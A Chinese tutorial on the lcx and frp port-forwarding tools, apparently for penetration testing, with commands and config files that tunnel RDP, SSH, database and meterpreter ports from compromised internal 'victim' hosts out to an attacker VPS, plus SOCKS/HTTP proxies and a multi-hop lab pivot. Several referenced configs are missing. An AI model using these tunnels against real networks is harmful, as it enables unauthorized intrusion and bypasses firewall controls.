fps+lcx代理使用

时间:2024-03-07 14:17:27

一、lcx使用介绍

     lcx是一款端口转发工具,可以使windows/linux 的某个端口转发到其他主机,或者转发到本机的其他端口,如:将A 主机的3389 转发到B主机的1234端口,或者将A 主机的3389端口映射到A 主机的1234端口
参数如下:

1、转发端口到其他主机
lcx.exe -slave vps的ip 1234 0.0.0.0 3389
在vps上监听端口1234,并把端口1234的流量转发到1235,随后连接vps的1235端口就能连接肉鸡的3389端口
lcx.exe -listen 1234 1235
2、将本机端口映射到本机的其他端口
lcx -tran 51 127.0.0.1 3389

二、fps使用介绍

    端口转发工具,有客户端和服务端,通常服务器部署在公网的VPS上,客户端部署在能够出网的内网机,将内网机的端口映射在vps上,通过连接vps 连接内网机
参数如下:
1.服务端f配置frps.ini

 # 通用配置段 

[common]

# 指明 frp 服务端监听的端口[ 实战中可以用一些通透性较好的端口,6000 这种高端口,实战中,可能会出不来 ] 和 ip [ 0.0.0.0 表示监听 vps 本地任意 ip ]

bind_addr = 0.0.0.0

bind_port = 6000

# 指明 frp 服务端控制面板登录端口和账号密码[实战中务必要设置的复杂一点],通过控制面板,我们可以实时了解到数据收发情况

dashboard_port = 6508

dashboard_user = striker

dashboard_pwd = admin!@#45

# 指明 frp 默认日志输出位置,所有的日志信息都放到当前目录下的 views.log 文件中

log_file = ./views.log

# 日志级别分类: debug, info, warn, error,通常情况下,info 即可

log_level = info

log_max_days = 20

# 是否开启特权模式[特权模式下,客户端更改配置无需更新服务端]

privilege_mode = true

# 授权 token 建议随机生成

privilege_token = FE9kTsW8Lg71oDKi

# 特权模式下允许分配的端口[避免端口被滥用]

privilege_allow_ports = 4000-50000

# 心跳检测超时时长

heartbeat_timeout = 30

# 后端连接池的最大连接数量

max_pool_count = 100

# 口令超时时间

authentication_timeout = 900

# 指明子域名,后续将会全部用域名的形式进行访问 [特权模式需下将 *.domain.com 解析到外网 vps 机器,即泛解析]

subdomain_host = study.com

# 如果需代理内网 web[包括基于 http 和 https 的站],则要开启此项

vhost_http_port = 8090

vhost_https_port = 9443     

2.客户端配置frpc.ini

 # 通用配置

[common]

# 指明 frp 服务端的 ip[或者域名,实战中一般都会直接用域名]地址及端口

server_addr = shop.study.com

server_port = 6000

# 指明日志文件输出位置

log_file = ./views.log

log_level = info

log_max_days = 3

# 授权 token,此处必须与服务端保持一致才行,否则无法建立连接

auth_token = FE9kTsW8Lg71oDKi

# 特权模式 token,同样要与服务端完全保持一致

privilege_token = FE9kTsW8Lg71oDKi

# 心跳检测时长

heartbeat_interval = 10

heartbeat_timeout = 30

# 将内网指定机器的 ssh 端口映射到我们自己的公网 vps 机器上,理论上此处可以配置任你你想映射的任何常规 tcp 端口服务,远非仅限于提到的这些

[ssh]

type = tcp

local_ip = 0.0.0.0

local_port = 22

# 这个 remote_port 的意思是当你访问 frp 服务端的 1222 端口就相当于在访问本机的 
22 端口,也就所谓的"映射",想必现在应该能理解前面说的意思了

remote_port = 1222

# 是否开启加密[流量加密,应对防火墙]

use_encryption = true

# 是否开启压缩

use_gzip = true

# 将内网当前机器的 rdp 端口映射到我们自己的公网 vps 机器上

[Rdp]

type = tcp

local_ip = 0.0.0.0

local_port = 3389

remote_port = 6389

# 将内网当前机器的 Mysql 端口映射到我们自己的公网 vps 机器上

[Mysql]

type = tcp

local_ip = 0.0.0.0

local_port = 3306

remote_port = 1306

# 将内网当前机器的 Mssql 端口映射到我们自己的公网 vps 机器上

[Mssql]

type = tcp

local_ip = 0.0.0.0

local_port = 1433

remote_port = 1533

# 将内网当前机器的 ftp 端口映射到我们自己的公网 vps 机器上

[Ftp]

type = tcp

local_ip = 0.0.0.0

local_port = 21

remote_port = 2121

# 将内网当前机器的 bind 型 meterpreter shell 端口映射到我们自己的公网 vps 机器上

[Meterpreter]

type = tcp

local_ip = 0.0.0.0

local_port = 443

remote_port = 4443

# 将内网当前机器的 udp 端口映射到我们自己的公网 vps 机器上

[Snmp]

type = udp

local_ip = 0.0.0.0

local_port = 161

remote_port = 1611

# 将内网当前机器指定的 web 端口映射到我们自己的公网 vps 机器上,特别注意此处的 
subdomain[子域]随便给一个就行,因为前面是泛解析的

[Phpinfo]

type = http

local_port = 80

subdomain = test

# 是否启用特权模式[特权模式下服务端无需配置]

privilege_mode = true

use_encryption = true

use_gzip = true

# 连接数量

pool_count = 120


3、简单实例
把受害机的3389端口映射到vps上
在vps上启用frp的服务端:

在受害机上启用frp客户端,frpc.ini配置如下:

frpc.exe -c frpc.ini

连接vps的1234端口就能连接受害机的RDP服务

三、利用frp搭建socks/http代理

在frp客户端中配置socks/http代理
代理参数配置如下:

[plugin_socks5]
type = tcp
remote_port = 6005
plugin = socks5
plugin_user = abc
plugin_passwd = abc

[plugin_http_proxy]
type = tcp
remote_port = 6004
plugin = http_proxy
plugin_http_user = abc
plugin_http_passwd = abc

启用frp客户端后,使用Proxifier工具进行socks代理

配置任意程序都走socks代理,此时本机的流量都会通过靶机出去

在浏览器上添加http代理

本机直接访问靶机的http服务访问不了(设置了防火墙策略阻断80端口入栈)

使用代理后流量通过靶机走出

四、利用FRP+LCX多层网络出网

靶场环境
A靶机: windows 2003 ip:192.168.4.49 (不通外网)
B靶机:ubuntu ip: IP:192.168.4.50 AND 192.168.197.131 (不通外网)
C靶机: windows 2008 IP: 192.168.197.130 AND 192.168.1.6 (192.168.1.6通外网)
目标把A靶机的RDP服务和B靶机的SSH服务映射到vps上
1.将A靶机的RPD服务通过LCX转发到B靶机上
lcx.exe -slave 192.168.4.50 3388 127.0.0.1 3389

B靶机使用lcx监听3388端口,并把流量转发到3387端口
./portmap -m 2 -p1 3388 -p2 3387

2.使用frp将B靶机的SSH服务和3387端口映射到C靶机上:
C靶机启动frp服务端:

B靶机启用frp客户端:
frpc.ini配置如下:

此时使用远程桌面连接C靶机的3386端口就是A靶机的RDP服务,使用SSH连接C靶机的22端口就是B靶机的SSH服务
3、使用frp将A靶机的3386端口和22端口映射到VPS上
在VPS上启用frp的服务端
A靶机的frp客户端frpc.ini配置如下:

在A靶机上运行FRP客户端

此时使用远程桌面连接vps的3389端口就是A靶机的RDP服务

使用ssh连接vps的1234端口就是B靶机的ssh服务:

附:
frps完整配置文件

frpc完成配置文件